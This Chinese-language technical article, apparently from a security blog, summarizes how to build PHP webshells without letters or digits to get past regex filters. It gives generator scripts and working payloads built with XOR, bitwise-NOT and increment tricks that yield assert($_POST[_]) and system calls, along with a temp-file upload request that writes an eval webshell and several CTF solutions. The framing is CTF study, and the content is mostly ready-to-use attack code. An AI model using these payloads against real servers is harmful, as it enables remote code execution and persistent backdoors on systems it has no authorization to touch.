无字母数字webshell总结
字数 1235 2025-08-19 12:41:54

无字母数字Webshell技术研究与绕过方法

一、基础知识

1. 问题定义

无字母数字Webshell指的是在以下限制条件下构造可执行代码:

<?php
if(!preg_match('/[a-z0-9]/is', $_GET['shell'])){
    eval($_GET['shell']);
}

2. PHP异或运算

  • 字符异或原理:两个字符的ASCII码二进制表示进行异或运算
  • 示例:
<?php
echo "5" ^ "Z";  // 输出"o"
// 5(53):00110101, Z(90):01011010 → 异或结果111(111)=o

3. PHP取反运算

  • 对汉字字符的特定字节取反可获得ASCII字符
  • 示例:
$_ = "卢";
print(~($_ {1}));  // 输出"r"
// "\x8d"取反得到"r"

4. PHP版本差异

  • PHP5
    • assert()是函数,可用$_=assert;$_()形式调用
    • 不支持($a)()调用方式
  • PHP7
    • assert()变为语言结构
    • 支持('phpinfo')();调用方式

5. PHP短标签

  • <?= ?>总是可用(PHP5.4+)
  • <? ?>需要short_open_tag开启

6. 反引号执行

<?= `whoami` ?>  // 直接执行系统命令

二、绕过方法

方法一:异或构造法

原理

通过两个非字母数字字符串异或得到目标函数名

POC生成器

<?php
$shell = "assert";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++){
    for($x=33;$x<=126;$x++){
        if(judge(chr($x))){
            for($y=33;$y<=126;$y++){
                if(judge(chr($y))){
                    $f = chr($x)^chr($y);
                    if($f == $shell[$num]){
                        $result1.=chr($x);
                        $result2.=chr($y);
                        break 2;
                    }
                }
            }
        }
    }
}
echo $result1;
echo "<br>";
echo $result2;
function judge($c){
    if(!preg_match('/[a-z0-9]/is', $c)){
        return true;
    }
    return false;
}

示例Payload

<?php
$_ = "!((%)("^"@[[@[\\";  // 构造出"assert"
$__ = "!+/(("^"~{`{|";    // 构造出"_POST"
$___ = 
$$
__;              // $_POST
$_($___[_]);              // assert($_POST[_])

方法二:取反构造法

原理

通过对汉字字符的特定字节取反获得目标字符

POC生成器

<?php
header("Content-type:text/html;charset=utf-8");
$shell = "assert";
$result = "";
$arr = array();
$word = "一乙二十丁厂七卜..."; // 3000+汉字
function mb_str_split($string){
    return preg_split('//u', $string);
}
foreach(mb_str_split($word) as $c){
    $arr[]=$c;
}
for($x=0;$x<strlen($shell);$x++){
    for($y=0;$y<count($arr);$y++){
        $k = $arr[$y];
        if($shell[$x] == ~($k{1})){
            $result.=$k;
            break;
        }
    }
}
echo $result;

示例Payload

<?php
$_++; // $_=1
$__="极"; $___=~($__{$_}); // "a"
$__="区"; $___.=~($__{$_}); // "s"
$__="区"; $___.=~($__{$_}); // "s"
$__="皮"; $___.=~($__{$_}); // "e"
$__="十"; $___.=~($__{$_}); // "r"
$__="勺"; $___.=~($__{$_}); // "t" → "assert"
$____='_';
$__="寸"; $____.=~($__{$_}); // "P"
$__="小"; $____.=~($__{$_}); // "O"
$__="欠"; $____.=~($__{$_}); // "S"
$__="立"; $____.=~($__{$_}); // "T" → "_POST"
$_=
$$
____; // $_=$_POST
$___($_[_]); // assert($_POST[_])

优化版(十六进制表示)

<?php
$_=~"%9e%8c%8c%9a%8d%8b"; // "assert"
$__=~"%a0%af%b0%ac%ab";   // "_POST"
$___=
$$
__;                // $_POST
$_($___[_]);              // assert($_POST[_])

方法三:自增构造法

原理

  1. 通过数组转字符串得到"A"("Array"首字母)
  2. 通过自增得到其他字母

示例Payload

<?php
$_ = [].'';       // "Array"
$___ = $_[$__];   // "A" ($__未定义默认为0)
$__ = $___;       // $__="A"
$_ = $___;        // $_="A"
// 通过多次自增构造"assert"和"_POST"
// ...
$___($_[_]);      // ASSERT($_POST[_])

三、进阶绕过技术

1. 过滤下划线(_)的绕过

<?= `{${~"%a0%b8%ba%ab"}[%a0]}` ?>
// ~"%a0%b8%ba%ab" = "_GET"

2. 过滤分号(;)的绕过

  • 使用短标签形式避免使用分号

3. PHP7下的特殊调用

(~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c)(~%8c%86%8c%8b%9a%92,~%88%97%90%9e%92%96,'');
// 相当于 call_user_func('system','whoami')

4. PHP5下的文件执行

  1. 上传包含PHP代码的文件(默认存储在/tmp/phpXXXXXX)
  2. 执行命令:. /???/?????????(匹配/tmp下的临时文件)

示例数据包

POST /?code=?><?=`.+/???/?????????[A-Z]`?> HTTP/1.1
...
--123
Content-Disposition:form-data;name="file";filename="1.txt"
echo "<?php eval(\$_POST['shell']);" > success.php
--123--

四、实战题目分析

题目1:基本限制

if(!preg_match("/[A-Za-z0-9_]+/", $code)){
    @eval($code);
}

解法1:无_构造

?><?= `{${~"%a0%b8%ba%ab"}[%a0]}` ?>

解法2:异或构造

?><?= `{${"!%27%25("^"%7e%60%60%7c"}[%a0]}` ?>

题目2:更严格限制

if(preg_match("/[A-Za-z0-9_\$]+/", $code)){
    die("NO.");
}

解法:通配符匹配

?><?= `/???/??? ????.???` ?>  // 匹配/bin/cat flag.php

题目3:De1ctf Hard_Pentest_1

限制:/[a-z0-9;~^&|]/is`

解法:自增构造+短标签

<?= $_=[]?><?= $_=@"$_"?><?= $_=$_['!'=='@']?><?= $___=$_?>... 
// 长Payload通过自增构造assert和_POST

五、总结对比

方法 优点 缺点 适用场景
异或构造 Payload较短 需要生成工具 长度限制不严格的情况
取反构造 Payload较短 需要汉字字符 允许使用汉字的场景
自增构造 无需特殊字符 Payload非常长 严格过滤特殊字符的情况

注意事项

  1. 实际使用时需要对特殊字符进行URL编码
  2. 不同PHP版本有差异,需针对性构造
  3. 此类Webshell熵值高,实战中易被检测
无字母数字Webshell技术研究与绕过方法 一、基础知识 1. 问题定义 无字母数字Webshell指的是在以下限制条件下构造可执行代码: 2. PHP异或运算 字符异或原理:两个字符的ASCII码二进制表示进行异或运算 示例: 3. PHP取反运算 对汉字字符的特定字节取反可获得ASCII字符 示例: 4. PHP版本差异 PHP5 : assert() 是函数,可用 $_=assert;$_() 形式调用 不支持 ($a)() 调用方式 PHP7 : assert() 变为语言结构 支持 ('phpinfo')(); 调用方式 5. PHP短标签 <?= ?> 总是可用(PHP5.4+) <? ?> 需要 short_open_tag 开启 6. 反引号执行 二、绕过方法 方法一:异或构造法 原理 通过两个非字母数字字符串异或得到目标函数名 POC生成器 示例Payload 方法二:取反构造法 原理 通过对汉字字符的特定字节取反获得目标字符 POC生成器 示例Payload 优化版(十六进制表示) 方法三:自增构造法 原理 通过数组转字符串得到"A"("Array"首字母) 通过自增得到其他字母 示例Payload 三、进阶绕过技术 1. 过滤下划线(_ )的绕过 2. 过滤分号(;)的绕过 使用短标签形式避免使用分号 3. PHP7下的特殊调用 4. PHP5下的文件执行 上传包含PHP代码的文件(默认存储在/tmp/phpXXXXXX) 执行命令: . /???/????????? (匹配/tmp下的临时文件) 示例数据包 四、实战题目分析 题目1:基本限制 解法1:无_ 构造 解法2:异或构造 题目2:更严格限制 解法:通配符匹配 题目3:De1ctf Hard_ Pentest_ 1 限制: /[a-z0-9;~^ &|]/is ` 解法:自增构造+短标签 五、总结对比 | 方法 | 优点 | 缺点 | 适用场景 | |------------|-----------------------|-----------------------|-----------------------| | 异或构造 | Payload较短 | 需要生成工具 | 长度限制不严格的情况 | | 取反构造 | Payload较短 | 需要汉字字符 | 允许使用汉字的场景 | | 自增构造 | 无需特殊字符 | Payload非常长 | 严格过滤特殊字符的情况 | 注意事项 : 实际使用时需要对特殊字符进行URL编码 不同PHP版本有差异,需针对性构造 此类Webshell熵值高,实战中易被检测